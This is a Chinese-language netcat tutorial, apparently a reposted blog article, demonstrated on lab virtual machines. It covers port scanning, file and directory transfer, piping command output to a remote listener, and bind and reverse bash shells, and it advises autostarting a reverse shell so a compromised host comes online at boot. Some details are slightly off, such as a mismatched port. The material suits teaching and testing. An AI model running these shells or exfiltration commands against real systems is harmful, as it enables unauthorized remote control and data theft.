netcat是網路工具中的瑞士軍刀(小身材、大智慧,60kB),它是一個簡單而有用的工具,透過使用TCP或UDP協議的網路連接去讀寫資料,它被設計成一個穩定的后門工具,能夠直接由其它程式和腳本輕松驅動,同時,它也是一個功能強大的網路除錯和探測工具,它能夠建立你需要的幾乎所有型別的網路連接,github可下載windows版本,但我更喜歡使用kali集成下的版本,下面開始演示nc常用的五大操作+缺陷彌補,
NC功能:埠探測、傳輸文本資訊、傳輸檔案/目錄、遠程電子取證資訊收集、遠程控制等常用操作(網上說的加密傳輸檔案、流媒體服務器等用處不大這里不做演示)
NC缺點:資料明文傳輸、缺乏身份驗證的能力(先連者先得),
配合比較常用的管道符命令使得nc工具更強大:
| 表示管道:上一條命令的輸出,作為下一條命令引數(輸入),ps -aux | grep aux,
>符號是指:將正常資訊重定向, find / -name “*.txt” > /tmp/log.txt,例-在根目錄下根據名字來查找*.tx輸入的日志放置/tmp/log.txt檔案中,
&>可以將錯誤資訊或者普通資訊都重定向輸出,
在kali上輸入nc -h即可查看nc所有的命令詳解
NC常用的引數:
-l 偵聽模式,用于入站連接,大部分配合-p引數使用
-p 指定本地的埠號
-n 后面跟IP地址,直接決議IP不決議域名,速度更快
-v 輸出連接的詳細資訊,輸入vv可以看到更詳細的資訊
-z 埠掃描,默認使用tcp模式
-u 指定udp模式掃描探測,一般配合-z引數使用
-c shell命令,通常為 -c bash回傳一個bash shell
-q 在標準輸入完之后退出,延遲多少秒 例如 -q 1表示被連接完成后1秒鐘關閉連接
NC使用演示(虛擬機三臺192.168.8.110kali1、192.168.8.130kali2、192.168.8.129win7)
一、埠探測(主要命令-z)
nc -v ip地址 埠(常規探測,輸出nc探測資訊和目的ip的指定埠)
nc -nvz 192.168.8.129 445(掃描192.168.8.129主機的445埠開放情況,-n指定后面跟IP地址而不是域名)
nc -nvz 192.168.8.129 1-1000 (掃描192.168.8.129主機的1-1000埠開放情況,需要關閉win7防火墻)
nc -nvvzu 192.168.8.129 1-500(掃描1到500間的UDP埠,并在終端回傳詳細的探測資訊)
總結:netcat里面的埠掃描功能比較低配,不及nmap強大,
二、傳輸文本資訊(主要命令-lp,需要兩臺機子都有nc工具)
先有一臺服務端開放一個隨機的偵聽埠 nc -lp 8888,另一臺客戶端再連接服務端的埠 nc -nv 目的地址 8888
kali1【192.168.8.110】:nc -lvp 8888(偵聽并開放本地的8888埠,等待連接...)
kali2【192.168.8.130】:nc -nv 192.168.8.110 8888(使用nc直接連接kali1的8888埠,兩者互動開始,可以傳輸文本資料了)
可以看到,剛開始偵聽埠的一端能顯示該埠已經被192.168.8.130連接上了,下面可以發資料了,例如hell,hi,chifan? chi這樣聊天
總結:此功能類似23埠的talnet一樣,明文傳輸文本資訊,發短信一樣的功能,
三、傳輸檔案/目錄(只演示單方向傳輸,可以嘗試舉一反三)
傳輸檔案:
A端kali1:nc -lp 8888 > nc.jpeg(A作為接收端打開埠,將本地偵聽的8888埠的資訊輸出到檔案名nc.jpeg里面,有人連接,傳輸完成后,一秒鐘就斷開)
B端kali2:nc -nv 192.168.8.110 8888 < nc.jpeg -q 1 (B端作為發送端,把nc.jpeg檔案輸入到192.168.8.110的8888埠里面)
傳輸目錄:
A端kali1:tar -cvf - /root/Desktop/picture | nc -lp 8888-q 1
B端kali2:nc 192.168.8.110 8888 | tar -xvf -(-不能少)
總結:傳輸目錄與傳輸檔案功能很像,其實就是多了個解壓縮的命令
四、遠程電子取證資訊收集
例子1(收集B端的系統資訊,但是不在B端留下命令的痕跡,把系統命令全部通過管道傳輸到A端):
A端kali1:nc -lp 8888
B端kali2:ls -l | nc -nv 192.168.8.110 8888(B端里面執行的ls系統命令在A端里面顯示,B端無痕)
例子2:
A端kali1:nc -lp 8888 > ps.txt (開啟本地的8888埠,一旦有人偵聽連接把傳輸的內容保存到ps.txt里面)
B端kali2:ps aux | nc -nv 192.168.8.110 8888 -q 1(連接192.168.8.110的8888埠,并且輸入本機的ps aux命令通過管道傳輸到偵聽埠,-q 1表示把命令引數一秒后自動關閉連接)
總結:可以發散思維創建多幾種正反向的連接,其實這個功能有點型別反彈shell行為了,
五、遠控操作(兩者服務器都需要有nc工具,nc重要的功能之一)
正向shell(被攻擊的服務器端開啟8888埠的bash shell,一旦有人連接了8888埠就會給他回傳一個shell,客戶端回車能直接執行服務器端的系統命令,例如ls、ifconfig等,正向比較容易理解)
kali1(被攻擊的服務器):nc -lp 8888 -c bash(被攻擊的服務器主動開啟8888埠,誰先連上shell就給誰)
kali2(攻擊者服務器):nc -nv 192.168.8.110 8888(主動連接目的服務器的8888埠來獲取shell,然后獲得root權限執行系統命令)
反向shell(被攻擊的服務器主動外連攻擊者服務器的8888埠并且給他一個bash shell,反向shell的目的是防止被攻擊者的IDC服務器里面的防火墻攔截,一般目的服務器只開80和443埠,讓服務器開放本地埠出網難度大,但是可以讓被攻擊的服務器直接連攻擊者的服務器埠,寫一個shell腳本放在組態檔里面設定開機自啟動,肉雞即可上線)
kali1(攻擊者服務器):nc -lp 8888(攻擊者的服務器開啟并監聽本地的8888埠,等待肉雞上線即可執行系統命令)
kali2(被攻擊的服務器):nc -nv 目的地址 333 -c bash(主動對攻擊者的服務器進行外聯并給他一個bash shell)
總結:被攻擊者的服務器一般部署在公網上,多讀兩遍就能理解正向和反向shell的邏輯了,注:windows用戶把bash改成cmd,
六、缺點彌補—ncat
NC缺乏加密和身份驗證的能力(明文傳輸容易被偵聽,NC打開的一個埠容易被其他人連接無法判斷),Ncat包含于nmap工具包中(利用ncat進行管道加密傳輸)
實驗環境使用 kail linux默認沒有ncat工具,它是nmap里面的一部分,首先在 linux 虛擬機上安裝 NC linux 環境:apt-get install netcat
兩個最主要的引數:--ssl 加密傳輸,--allow 只允許某個主機連接
kali1:ncat -c bash --allow 192.168.8.130-vnl 8888 --ssl(--allow 只允許192.168.8.130這個IP地址來連接我,--ssl 加密流量,做成加密管道)
kali2:ncat -nv 192.168.8.110 8888 --ssl(兩者建立的是一潭訓于加密管道通信的隧道)
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/423664.html
標籤:其他
下一篇:黃金之殼
